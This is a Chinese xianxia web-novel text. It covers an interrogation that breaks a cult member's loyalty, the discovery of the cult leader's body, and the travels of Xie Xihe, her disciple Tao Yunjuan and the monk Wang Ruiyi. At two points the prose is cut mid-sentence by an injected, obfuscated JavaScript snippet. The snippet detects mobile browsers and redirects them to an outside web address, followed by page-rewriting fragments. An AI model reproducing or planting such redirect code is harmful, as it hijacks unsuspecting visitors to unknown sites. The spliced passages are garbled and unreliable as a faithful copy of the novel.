众人一愣,只见坐在草垛里的那个妇人站了起来,她是孟夕的心腹执事孟一。 “会长的错,就是心还不够狠,手还不够黑。她对你们太好了,你们只享受她带来的好处,却在这里惺惺作态地谈她的‘对错’?你们所谓的‘忠诚’,肤浅得可笑!” 蜷缩在角落的钱娘子抱住双膝,声音发颤:“地宫里的怪物……我们都看见了……她想把我们也炼成那样的怪物,这难道也是为我们好?” “那是必要的净化。”孟一斩钉截铁,目光扫过牢房里一张张惶惑不安的脸,她的声音陡然拔高,带着一种近乎癫狂的虔诚,“成大事者,不拘小节。若你们都像孟七一般坚定,一致对外,那会长何须出此下策,把你们视为对会里其他姐妹的威胁?” 一名妇人喃喃道:“可那终究是害人性命、伤天害理的事啊……我们原本只是想活下去,活得好些,从未想过害人……” “醒醒吧!这世道何曾与我们女子讲过是非对错?!”孟一打断道:“平日里享受着她的好,在会长落难时就开始质疑她的手段,这叫忘恩负义!” “可是,会长教我们自立,不就是盼我们珍视自身么?”说话的是赵舒娘,她的手中握着一只娇艳欲滴的石榴花,像是有了勇气,“珍视自身,难道不也该包括守住自己的良知和底线么?” “你遇到个不嫌弃你的好夫婿,当然有底气说这些。”陈阿彩头发散乱,声音幽怨,“她那些话曾让我觉得自己活了,让我敢挺直腰板和离。如今同心会没了,我也入了狱……往后又该怎么办呢?” 谢羲和不愿再听她们无谓的争辩,提步向前。以善之名行恶,或因恶之行得善果,世人世事要都是黑白分明那就简单得多了。 得到什么,失去什么,这才是要紧的。若是得到的比失去的更重要,不必后悔;失去的比得到的多,咬咬牙还是要捱过去,怨不得旁人。 孟一被带进审讯室,冷笑一声:“我什么都不会说,你们还不死心吗?” 她看向谢羲和,“你也是女子,看样子是个大人物,怎么就不能体谅女子的难处?” “正因体谅,才更不能坐视尔等自欺欺人。”谢羲和说。 闻言,孟一抬起头来。 “为了再无男子欺压、女子皆可自主的愿景,她可以不惜一切,对吧?”谢羲和声音平缓,“包括平日里对姐妹的善意,也包括……地宫里那些见不得光的必要之恶。” 孟一惊疑道:“你既然明白,为什么要阻拦?会长她独自背负所有罪孽,那些牺牲……是值得的!” 谢羲和质问:“那么,谁来决定谁该被牺牲?王香,因为她动摇了?张婆子的儿子,因为他可能泄密?这个标准由谁来定?孟夕一人吗?” “会长她……她看得最清楚,她必须做出最艰难的选择!”她声音高了些,说服谢羲和的同时,也像是在说服自己。 “那这炼魂增强自身修为的邪法,也是艰难的选择吗?”谢羲和不急不缓,“她用别人的魂灵来滋养自己的修为,这也是为了姐妹同心吗?” 孟一眼神闪躲,手指无意识地绞紧衣角,“这……这定是为了获得力量,好保护大家!会长她修为越高,才能更好地对抗外敌!” 谢羲和笑了笑:“对抗外敌?孟一,你说,一个需要靠吸食同伴灵魂来强大自身的保护者,保护的究竟是你们,还是她自己?” 孟一呼吸急促,额角渗出细汗:“不……会长不会……” “不会吗?那你可知她今天去见了什么人?”谢羲和靠近,逼迫她直视着自己的眼睛,“你可知道她听命行事于‘桃花令’?” 王香的身体开始微微颤抖,脸色苍白。谢羲和心下了然。果然知道。 “那么,你所信仰的那个孟夕,真的存在过吗?她告诉你一切牺牲都是为了姐妹,却用姐妹的魂魄来浇灌她自己的力量。她赋予你价值,可能仅仅因为你是最好用、最忠诚的那把刀。” “她的道,是用姐妹的尸骨铺就的路,是用邪术玷污的理想建造出的城。而孟夕,她可能连建造者都不是,只是一个监工而已。甚至,她自己也可能是被牺牲的那一个,但她先牺牲了你们。” 孟一的表情终于裂开了,她像是被抽干了力气,肩膀垮了下来。她猛地向后缩了一下,仿佛被这句话烫伤:“诡计。你只是为了从我这里得到消息,撬开我的嘴。哈!你想要我背叛。我才不会上你的当!你们毁了我们的基业,但毁不掉我们的信念。她所做的一切,都是为了最终的那个‘桃源’。” “桃源?”谢羲和离开少许,轻声道:“若是一棵树的根系烂掉了,从一开始就浸满了罪恶,还能开出纯洁无暇的花来吗?不过是飘渺的海市蜃楼,一触即溃。你还有机会补救,何必一错到底?” “呵呵。说得倒轻巧。”孟一浑身剧震,脸色惨白如纸,嘴唇颤抖:“如今,我这般,还能回头吗?” “既知是错,为何不敢回头?”谢羲和道:“你可知出狱后,你们可能会受到怎么样的非议?他们会说:‘看吧,就知道女人家聚在一起没好事,终究是不成体统,只会生出这等祸事。’之后许多年,在四屏郡想要携手互助的女子,路只会更难走。” “但你,孟一。等出了狱,为何不敢自己再亲手去创造一个干干净净、没有被玷污的‘同心会’呢?你完全可以证明给所有人看,女子互助,本可以是好事,是善举,是力量,而非是罪恶。” 孟一猛的抬头,审讯室内只听得见她粗重的呼吸声。 她的内心天人交战,半晌,她干涩的嘴唇艰难地翕动:“春栏坊。” 孟一像是用尽了全身的力气,闭上眼,又猛地睁开,带着一种破罐子破摔的绝望和报复性的快意:“她要见的那个人,在春栏坊。” 陶云倦靠墙抱剑旁观,此刻,忍不住露出浅浅笑意。 谢羲和此番攻心,步步为营。她先与孟一共情,卸其心防,再以邪术和桃花令连番破其信念,最后再予人生路,授其新生。刚柔并济,不过片刻之间,竟层层剥尽硬甲,直抵软肋。诛人诛心,不过如此。 审讯室的门被猛地推开,一名衙役神色慌张地快步闯入,“大人,有人报案。孟夕死了,就在春栏坊。” 孟一脸上那点讽笑瞬间凝固,她张着嘴,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406283|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发不出任何声音,只是身体开始无法控制地剧烈颤抖起来。 陶云倦神色一凛,直起身来,周身散漫之气顷刻收敛,命令道:“封锁现场,任何人不得妄动。” 郡守连忙称是,快步出去调派人手。 谢羲和道目光在失神的孟一身上停留一瞬,转身出门,衣袂带风。 陶云倦紧随其后,在经过孟一身侧时,他轻飘飘道:“你看,她连被你们‘牺牲’的资格,都没有了呢。” 春栏坊是四屏郡中最负盛名的风月场所,但白日仍是车马稀疏,客人寥寥。 谢羲和、陶云倦二人蹲下身子,查看孟夕的尸体。 她手中握了一把刀,从伤口和现场的痕迹来看,更像是自杀。神态安详,面带笑意,仿佛沉溺于一场不愿醒来的美梦。 跟来的守仙宫弟子对视一眼,心中自有一番猜想。 掌事快步上前:“大人明鉴,此人并不曾从正门入,这房中原本宿的是一位白衣公子,如今也不知去向,想必就是杀人凶手,故意伪造成受害者自杀。” 郡守睨他一眼,冷声道:“你会断案?那这案子交给你来审?” 掌事顿时语塞,面露窘色,讪讪退至一旁。 陶云倦道:“你们先出去吧。” 郡守随即朝众人斥道:“没听见吗?还不出去!” 话音未落,却见陶云倦正静静注视着自己,霎时反应过来,轻咳一声:“本官也出去。” 门被关上了,只听屋内笛声转了三个调,然后戛然而止。 陶云倦见谢羲和神情凝重,问:“魂不在?” 谢羲和敛目:“不在。” 孟夕应是在昨夜殒命,刚从地宫逃离后不久。那白衣公子是生客,头戴幂篱,身负长剑,除此之外,竟再无线索可循。 一番追查,线索竟又在此断绝。 守仙宫弟子上前一步,恭声道:“谢元君,我等需将孟夕遗体带回宫中详查。禁术之事,待回禀三尸神君后,必竭力追缉,绝不姑息。”言罢行礼退去。 “我们也走吧。”谢羲和淡淡道,率先步入人群之中。 二人并肩漫步于长街之上,人群熙攘、市声喧阗。 陶云倦眯眼避开刺目的阳光,开口道:“师父,接下来,我们该动身去河掖了吧?” 谢羲和颔首:“对。不过启程之前,还需去一个地方。” 谢羲和要去的地方,正是天元剑铺设在四屏郡中的分号,此行是为取他们的镇店之宝龙泉宝剑。虽名头响亮,于谢羲和而言,却也不过堪堪应急之用。 陶云倦侧首问:“师父是担心那白衣公子会在城外设伏?” 谢羲和道:“他们的组织本就在追查我的行踪,如今那人听到金兰绣坊的动向,必然会打听。若是他碰巧认识我,那一定不会浪费在出城后设伏的机会。” 诛有形之器,莫利于兵;戮鬼神之法,莫玄于炁。 所以,谢羲和必须先找一把趁手的武器。 不多时,一白一黑两骑并辔驰出,长剑悬于鞍侧,迎着渐斜的日头出城而去。 马蹄哒哒,二人衣袂迎风,猎猎翻飞,纵使风尘仆仆,仍掩不住眉宇间的英飒之气。 暮云四合,远山苍茫,长路迢迢。 前路既定,河掖尚远,风波将起。 13. 滕雾藏杀青鳞现1 夏末秋初,风已带了凉意。 谢羲和与陶云倦勒马驻足,眼前是一座孤零零的驿站。这样的驿站,在这样的时节,本该有温暖的烛光,热腾腾的饭菜,然而这里什么都没有。 驿站里只有两个伙计,食物简单粗糙,两块冷硬的饼,一碟咸菜,还有一碗加了几片菜叶的白水。 两人还是坐下了。 此处距河掖尚有两日路程,他们已连续奔走了三天三夜,接踵而至的袭杀,足以让最警觉的人也感到疲惫。 陶云倦的伤口还在隐隐作痛,他算是见识到了谢羲和口中修为暴涨的诡异身法,当真令人防不胜防。 谢羲和心中依然悬着一根弦,她并未感知到上次那般大巧不工的气息,仿佛幕后之人并不急于求成,只如阴影般缀行,无形施压。 若是独身一人,倒也就罢了。死便死了,只要仙身没有被严重破环,她就不必从奈何桥上多走一遭。 可如今,她身边还多了一个人。陶云倦本质上仍是凡人,会受伤,会死,血肉之躯,经不起几回折腾。但若是要他离去,他也必然是不肯的。 “他们是在耗我们。一波未平一波又起,不图致命,只为磨尽心神。”陶云倦拭去剑锋上的血渍,声音里带着一丝倦意,“后日就能到河掖了,进了城,他们就没机会了。” 他收剑入鞘,认真道:“那白衣人,至今仍未现身,师父,你需养精蓄锐,今夜我守着。” 驿馆那扇朽旧的木门忽地“吱呀”一响,自己开了。夜风趁机卷入,三两片枯叶打了几个旋,便躺在地上不动了。 二人对视一眼,为自己的大惊小怪、草木皆兵摇头失笑,还剑入鞘。 只是风而已,虚惊一场。 “轮流守夜,后半夜换我。”谢羲和不容置疑地说。 她沉吟片刻,又道:“张不疑至今音讯全无,我也联系不上他,此事非同寻常,也不知他那边是什么情况。” 陶云倦靠在门边,望着门外浓得化不开的夜色,低声道:“但愿他别是遇上比我们更棘手的事。” 这一夜,竟出乎意料地太平,而谢羲和不安更甚。这更像是暴雨前夕,空气沉闷压抑,四野无声。 翌日,二人填饱肚子,换了新马,再次启程。 不出半日,行至一片深密竹林,林间光线晦暗,竹影幢幢,静得异乎寻常,连惯常的鸟鸣虫嘶都消失了,唯有风吹竹叶的沙沙声。 二人勒紧缰绳,手无声地按上剑柄,凝神戒备。 就在此时,一阵疾风掠过,只见数片竹叶化作暗器,破空而来,直取陶云倦周身大穴,攻势凌厉,却巧妙地避开了他身旁的谢羲和。 陶云倦用剑格挡,飞身向竹叶飞来的地方掠去。不料那被挡开的竹叶被无形之力聚齐回转,宛若一朵怒放的青莲合拢花瓣,自四面八方绞杀而来,像是要将他吞没。 谢羲和眼中寒光一闪,向林中挥出一道凛冽剑气,直直斩向幽深竹林。翠竹应声而倒,噼里啪啦开出一条通路。 “他还是个凡人,难道少司命要以身试法吗?” 一叶禅能用到这般炉火纯青地步的,除了王瑞宜,谢羲和想不出第二个人来。 漫天竹叶骤然失了力道,在空中一软,纷纷扬扬飘落下来,像是下了一场碧色的雨。饶是如此,陶云倦的脸颊、衣袍之上,仍被划出数道刺目的血痕。 碧雨零落间,只见一僧人踏叶悬空,静立竹梢枝头。 “青莲未开禅心锁,叶雨零落见摩诃。”谢羲和低声默念。 这是她偶然听人说起这位迦蓝寺的小菩萨,旁人给出的判词。如今一看,果然名不虚传。 他双手结印如莲,似拈花未放。衣袂飘飘,气质温润如玉,目似垂帘,面若慈悲殿中的闭目神佛。 “蘅芜君。”他翩然落地,未惊起一粒尘土,“久违了。” 谢羲和脸色阴晴不定,剑身一振:“小菩萨,你来,又是为了什么呢?” 王瑞宜自是看出自己的不受欢迎,双掌合十道:“闻君路过此处,特来一会。” 这消息大概是青姑那边听说的。 谢羲和走至陶云倦身前,将他挡至身后:“会我一会,至于用上一叶禅伤我徒儿吗?” 王瑞宜没有一点伤了人的罪恶感:“此途凶险,我不过替你试他一试。” 陶云倦指腹抹去颊边滴落的血,目光骤冷,握紧霄练,但当目光落在立在身前的谢羲和身上,他便没有妄动。 王瑞宜平静地陈述道:“蘅芜君,你也当明白,陶施主行到此处已经够了。” “你可是预见了什么?”谢羲和心中一紧。 作为守仙宫的少司命,迦蓝寺圣子,轮回道大成者,王瑞宜本该镇守永州,坐镇恶行狱。 弥殃剑主,负重祥以镇厄。这是他的使命。所以,谢羲和不信,他真的只是随意来此一会。 王瑞宜摇摇头,什么也没说,又好像什么都说了。他的目光落在陶云倦身上,好奇地、毫不遮掩地打量着他。 陶云倦看出他对谢羲和没有恶意,似乎真的如他所言,只是为了试探自己的修为。 他轻笑一声,漫不经心地将剑归鞘:“师父,前路虽险,我亦愿相随,生死何妨?难不成你真要赶我回去当个逃兵?” 他难道还能真的让谢羲和死在他面前不成?这可比自己身死还要难过许多…… 突然,王瑞宜蓦地睁大双眼,低呼一声:“不好!” 谢羲和望向來路,百步之外有疾步声传来,来者二十余众,步伐稳健,吐纳绵长不乱,竟无半分遮掩行踪的意思。 心念电转间,谢羲和想通了其中关窍,拦住正欲翻身上马的王瑞宜,眯眼笑道:“小菩萨,莫非此番是你私自离寺?” 王瑞宜被她一语道破,面上不见窘迫,反而颇显无辜:“小僧留了书信,算不得私自离寺。” “既然如此,便好说了。”谢羲和让开路,扬声道:“云倦,上马!” 陶云倦尚在迟疑,却见马上王瑞宜朝他灿烂一笑,露出一口整齐的白牙。 “……师父?” 谢羲和将他扔上马,反手用剑鞘一拍马臀,那马吃痛,长嘶一声,四蹄翻飞,绝尘而去。 “他不会骑马,你带他先走一步!” 陶云倦回头望去,只见谢羲和负手而立,青衫随风飘动,二十余名武僧的身影已经出现在道路的尽头。 “——别看啦!我那些师兄师弟还没本事伤得了蘅芜君。兴许再过一会儿就到了。”王瑞宜热情地招呼站在门口的陶云倦,“陶施主,坐下等吧。” 陶云倦想了想,依言坐下:“小菩萨,你与我师父是齐名的人物,又怎需我师父去拦?” 王瑞宜并不避讳,倒了杯茶水递给他,笑道:“擅离职守,本就是我的私心,若是动了手,失了分寸,坏了规矩,性质就变啦。” 陶云倦接过茶水,放在桌上没喝,重复道:“私心?” 王瑞宜却是不打算继续说了,正巧店小二上前,满脸堆笑:“二位客官,用些什么?” “可有什么拿手招牌菜?”王瑞宜问,又补充道:“荤的。” 小二一愣,但见和尚身边的人,似乎明白过来。他一口气报了十几样菜名,王瑞宜挑了四样,还再斟酌的样子。 陶云倦提醒道:“小菩萨,你不点两道素食么?这些荤腥,我与师父怕是吃不完。” 王瑞宜灿烂一笑,陶云倦总觉得他笑得有点假,只听他一本正经道:“加上小僧,便吃得完了” 陶云倦诧异挑眉,王瑞宜看出他的困惑,好心解释道:“王瑞宜可以是小菩萨,小菩萨却不是王瑞宜。” 陶云倦心下一动,转杯子的手一顿,这话粗略来看,并不难理解。 王瑞宜先是他自己,然后才是守仙宫的少司命。在轮回转世中,他的灵魂历经淬炼,每一世,都如蝉蜕一般,成为新的“王瑞宜”。他虽屡次在迦蓝寺修行,但并不意味着他一定是迦蓝寺所期待的“小菩萨”,做那个连法名也不曾留下过的圣子。 令陶云倦咀嚼的,是这话背后关乎轮回之道的禅机。 世人皆知,人故去后,三魂各归其所。 人魂常驻坟茔或宗祠,受后人香火供奉,随时间流转渐渐消散。它与肉身绑定,不入轮回。 天魂归于天地,不朽不灭,最近天道,将重化万物,亦可能成为新生命的组成部分。 而地魂,亦即平常所说的“灵魂”,承载着人魂所有的业力与记忆,如一枚种子般投入轮回,等待着破土而出的那一日。 谢羲和在他初初入道时的话语蓦然回响于耳边:“云倦,你可曾想过自己究竟为何而修行?” 为了力量?可是人外有人,天外飞仙,力亦有穷时。 为了长生?长生未必不死,若是没有找到自己愿意存活下去的理由,不死也只是一种诅咒而已。 轮回之于凡人,未尝不是一种庇护。抹去前尘,重入红尘,正因生命短暂,反而令人更易看清此生应行之路,应尽之责。 陶云倦踏入仙途,缘起于谢羲和在百日宴上的一句戏言。他天生聪慧,根骨绝佳,是万中无一的修道奇材。他少年时也自恃天资绝世,若是在凡尘打滚,混沌一生,岂不是白白辜负了一身天分? 可如今褪去少年时对修行不切实际的幻想,若谢羲和再度相问,他心中已有了新的答案:人总是惧怕不确定性的。 人恐惧未知,恐惧重新开始,害怕再次陷入不知从何而来、不知为何而生、不知向何而去的茫然境地。 即使知道死亡不是终点,但他们的意识告诉自己,若是没有了今生的身份、记忆与羁绊,那么轮回之后一张白纸的自己,就成了旁人。 修仙问道,未必能得不死,但能有机会争得一个选择的权利,决定自己以何种“我”的姿态,开始新的一生。 这,便是无数人追寻大道的缘由,是陶云倦的答案之一,也是王瑞宜这句话的言下之意。 王瑞宜可以选择成为“小菩萨”,小菩萨却约束不了王瑞宜。 “你这话若叫境尘大师听见,怕是要气得罚你面壁三年。”正当他心潮起伏之际,门外传来谢羲和略带调侃的声音,话音未落,人已翩然入座。 “饭可以不吃,话却要说清楚。”谢羲和将龙泉剑往桌上一放,看向王瑞宜道:“别告诉我,你有叛逆期这种鬼话。” 王瑞宜刚张开的嘴闭上了,差点脱口而出的话又咽了下去。 “无话可说?”谢羲和挑眉问。 “话无可说。”王瑞宜无奈答。 “也罢,我向来不喜强人所难。”谢羲和拉着陶云倦起身,“道不同不相与谋,这一桌饭菜我师徒二人怕是无福消受。云倦,我们换一桌。”她转头招呼:“小二哥,劳烦这边重新点菜。” “且慢。”王瑞宜扯住谢羲和的衣袖,不复调笑之意,神情严肃许多。 笑话!若是他因为没钱平账,吃霸王餐被赶出门,谢羲和再接机宣扬一番,不单他如今的师父不会饶他,他怕是要成为整个仙门的笑柄。 “蘅芜君,我出现在此处,你应当也有所预感。此世之劫,与你息息相关。非是我不愿坦言,实则我也身在局中,所知未必比你更多。” 他目光复杂,好似参杂了些什么情绪,谢羲和看不懂,只是直觉这种情绪不应该出现在王瑞宜身上。 只听他继续道:“何况,你难道忘了方才决定相助于我的缘由?” 谢羲和静了一瞬,短促地笑了声:“好啊。那就当我日行一善,送佛送到西呗。” 陶云倦握剑的手微微收紧。他心知肚明,谢羲和之所以留下王瑞宜,全是因为自己的“任性”。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409425|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也算是仙门年轻一辈中的翘楚,若论资质修为,也称得上算是天之骄子。可是,每当置身于谢羲和的那些故交旧友之间,便如萤火之于皓月,黯然失色。 那些人看他的眼神好像他只是谢羲和身边一个无足轻重的影子,隔着漫长岁月中不值一提的存在。 如今谢羲和身边险象迭生,以他这般修为,在他们眼中,只怕早已被视作她的拖累。 他与她、与他们,横亘着数百年的光阴。那是云泥之别,是仙凡之隔,是不登仙境便无法逾越的万仞高山。 可若要他就此退却,他不甘心,也绝不能。 他的决心谢羲和领会了,那么谢羲和的好意他也不能辜负,所以—— “——所以,你们两今晚住一间房吧!”谢羲和一锤定音道。 他们又行了一段路,路上遇见过一次袭击,但有了王瑞宜的加入,应对起来轻松不少。昨晚风平浪静,也要多亏了王瑞宜清理不少追兵,这才得以睡了个好觉。 王瑞宜明明是个和尚,反而过分讲究了些,他面露赧然:“既有驿站可住,何必再露宿荒郊野外?小僧这件法袍虽不易染尘,终究是单薄了些。” 于是,三人找了间驿站住下。奈何这驿站人多房少,只剩两间空房,这才有了谢羲和之前那句话。 谢羲和一句话,就让陶云倦与王瑞宜大眼瞪小眼。陶云倦直接别开脸,下颌线绷得紧紧的,抗拒之意写在脸上。王瑞宜虽还维持着表面的平和,假笑还是僵了几分。 谢羲和却不管这些,横竖她独占一室,转身便悠哉游哉往自己房中走去。 王瑞宜见状,快步跟上:“蘅芜君留步,小僧尚有一事想要请教。” 陶云倦亦紧随其后。于是三人前后脚进了谢羲和的房间。 陶云倦给三人倒好了茶,王瑞宜道了声谢,开口道:“不知寤生剑,可有什么不为人知的玄妙之处?” 谢羲和喝了口茶,语气淡然:“若说割喉格外利落,算不算?剑身极美,月光流转,自带阴寒之气,又算不算?” 王瑞宜摇头:“弥殃为轮回之剑,寤生亦是仙骨所化,断不会仅止于此。” 陶云倦似被点醒,接口问道:“师父,死于寤生剑下之人,可有什么异状?” 谢羲和先看向王瑞宜:“你所知的弥殃轮回之说,本也是出自我口。所以,”她转向陶云倦,“我不知道。总不能让那些死于我剑下的亡魂,从地府爬出来,亲口告诉我,他们死于寤生剑下作何感想吧?” 王瑞宜和陶云倦语塞。话是这个道理,可听谢羲和的回答,怎么总觉得他们问的是傻话,被她明晃晃地嫌弃了呢? 三人又聊了一会儿,谢羲和就开始赶人了。 哪怕再不情愿,陶云倦和王瑞宜还是进了同一间房。 陶云倦开门,目光一扫,便落在了房内唯一一张不算宽敞的床榻上。 他眉头锁紧,不假思索地走向窗边那张硬木短榻,语气生硬:“小菩萨,你睡床,我睡这里。” 王瑞宜的目光轻飘飘地扫过那张明显睡不舒服的短榻,陶云倦若睡上去,怕是只能蜷缩成一团。 他目光又落回陶云倦紧绷的侧脸上,并未出言反对,只抬手拂了拂床褥,语气依旧温和:“陶施主自便。” “只是夜间风凉,若染了风寒,耽误了行程,蘅芜君怕是要心疼了。”倒是没有再劝,径自于床榻上盘膝坐下,闭目养神。 烛光颤颤巍巍地摇晃着,不知是因为身体舒展不开,还是屋里多了一个陌生人,陶云倦在短榻上辗转反侧,难以入眠。 他侧身望去,却见王瑞宜也并未入睡,正静静望着他,目光沉静深邃,,情绪难辨,不知在想什么。 “小菩萨,你也睡不着?” 王瑞宜似被这一声惊醒,微微一怔:“嗯?” 陶云倦觉得有些好笑,提议道:“既然都无睡意,不如说说话?” 王瑞宜沉吟片刻,道:“你问。” “你与我师父,是如何相识的?” “……”王瑞宜闭上了眼,呼吸轻缓均匀,恍若瞬间入定。 “我瞧见你方才眯眼了,”陶云倦存心要戳破他,不知为何,他就是看这小菩萨不顺眼,“别装睡。” 小菩萨叹气:“陶施主,你师父没有教过你,如果旁人装睡或转移话题,你就该适时缄口么?” “没有。”陶云倦在谢羲和面前一向善解人意,哪里用得着提醒? “那你现在知道了。” 陶云倦却不肯罢休,故意追问道:“莫非是你做过什么亏心事,不便提起?” 光影明灭间,小菩萨依旧面若慈悲,双目轻阖,唇瓣微动,似在默诵经文。 在陶云倦以为他不会回应时,只听王瑞宜声音温驯有礼的声音响起,说出的话却让他胆战心惊:“她救过我,我杀过她。此之谓生死之交。” 他轻声反问道:“陶施主,你对这个答案可还满意?” 烛火猛地一晃,仿佛被这话语中的寒意吓得一哆嗦。屋内,两道影子投在墙上,一道抱剑倚窗,一道静坐诵经,泾渭分明,互不相干。 陶云倦心中惊疑不定,一时难以分辨此言是真是假。可转念一想,以谢羲和的性子,若真有过这等恩怨,断不会如今日这般心平气和,甚至还好酒好菜地招待。 他心下暗道:“话不投机半句多。与这等心思曲折、表里不一之人同处一室,简直是煎熬。” 王瑞宜的清心咒又不知念到哪儿了,心想:“执念过甚。谢羲和身边留着这么一个人,终究是隐患。” 两人再无言语。烛芯燃尽,火苗挣扎着跳动了一下,随即熄灭,屋内彻底陷入了黑暗。 在这满室寂静中,他们在同一种不情愿上达成了诡异的共识,结论都无比清晰且坚定。 “我与此人,绝非同路人。”